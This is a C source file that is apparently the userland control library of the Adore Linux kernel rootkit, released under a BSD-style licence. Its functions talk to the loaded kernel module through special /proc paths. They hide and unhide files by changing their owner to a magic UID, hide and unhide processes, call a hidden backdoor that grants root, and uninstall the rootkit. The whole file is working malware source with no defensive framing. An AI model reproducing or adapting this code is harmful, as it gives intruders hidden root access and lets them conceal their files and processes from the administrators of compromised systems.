/*
 * Copyright (C) 1999/2000 Stealth.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 4. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/* Upper layer to be independant from implementation of
 * kernel-hacks.
 * Just write appropriate functions for new kernel-mods,
 * and ava.c will be happy.
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

#include "libinvisible.h"

int getresuid(uid_t *, uid_t *, uid_t *);

#ifdef linux
adore_t *adore_init()
{
	int fd;
	uid_t r, e, s;
	adore_t *ret = calloc(1, sizeof(adore_t));

	fd = open("/proc/"ADORE_KEY, 0);
	close(fd);
	getresuid(&r, &e, &s);

	if (s == getuid() && getuid() != CURRENT_ADORE) {
		fprintf(stderr,
		        "Tried to authorized myself. No luck, no adore?\n");
		ret->version = -1;
	} else
		ret->version = s;
	return ret;
}

/* Hide a file
 */
int adore_hidefile(adore_t *a, char *path)
{
	return lchown(path, ELITE_UID, ELITE_GID);
}

/* Unhide a file
 */
int adore_unhidefile(adore_t *a, char *path)
{
	return lchown(path, 0, 0);
}

/* Hide a process with PID pid
 */
int adore_hideproc(adore_t *a, pid_t pid)
{
	char buf[1024];

	if (pid == 0)
		return -1;

	sprintf(buf, "/proc/hide-%d", pid);
	close(open(buf, O_RDONLY));
	return 0;
}

/* make visible again */
int adore_unhideproc(adore_t *a, pid_t pid)
{
	char buf[1024];

	if (pid == 0)
		return -1;
	sprintf(buf, "/proc/unhide-%d", pid);
	close(open(buf, O_RDONLY));
	return 0;
}

/* permanently remove proc
 */
int adore_removeproc(adore_t *a, pid_t pid)
{
	printf("Not supported in this version.\n");
	return 1;
}

/* use the hidden setuid(0)-like backdoor
 */
int adore_makeroot(adore_t *a)
{
	/* now already handled by adore_init() */
	close(open("/proc/fullprivs", O_RDONLY));
	if (geteuid() != 0)
		return -1;
	return 0;
}

/* return version number of installed adore
 */
int adore_getvers(adore_t *a)
{
	if (!a)
		return -1;
	return a->version;
}

int adore_free(adore_t *a)
{
	free(a);
	return 0;
}

/* uninstall adore
 */
int adore_uninstall(adore_t *a)
{
	close(open("/proc/uninstall", O_RDONLY));
	return 0;
}

/* disappeared in 0.3 */
int adore_disable_logging(adore_t *a)
{
	return -ENOENT;
}

/* ditto */
int adore_enable_logging(adore_t *a)
{
	return -ENOENT;
}

#else
#error "Not supported architecture (Not Linux)."
#endif /* linux */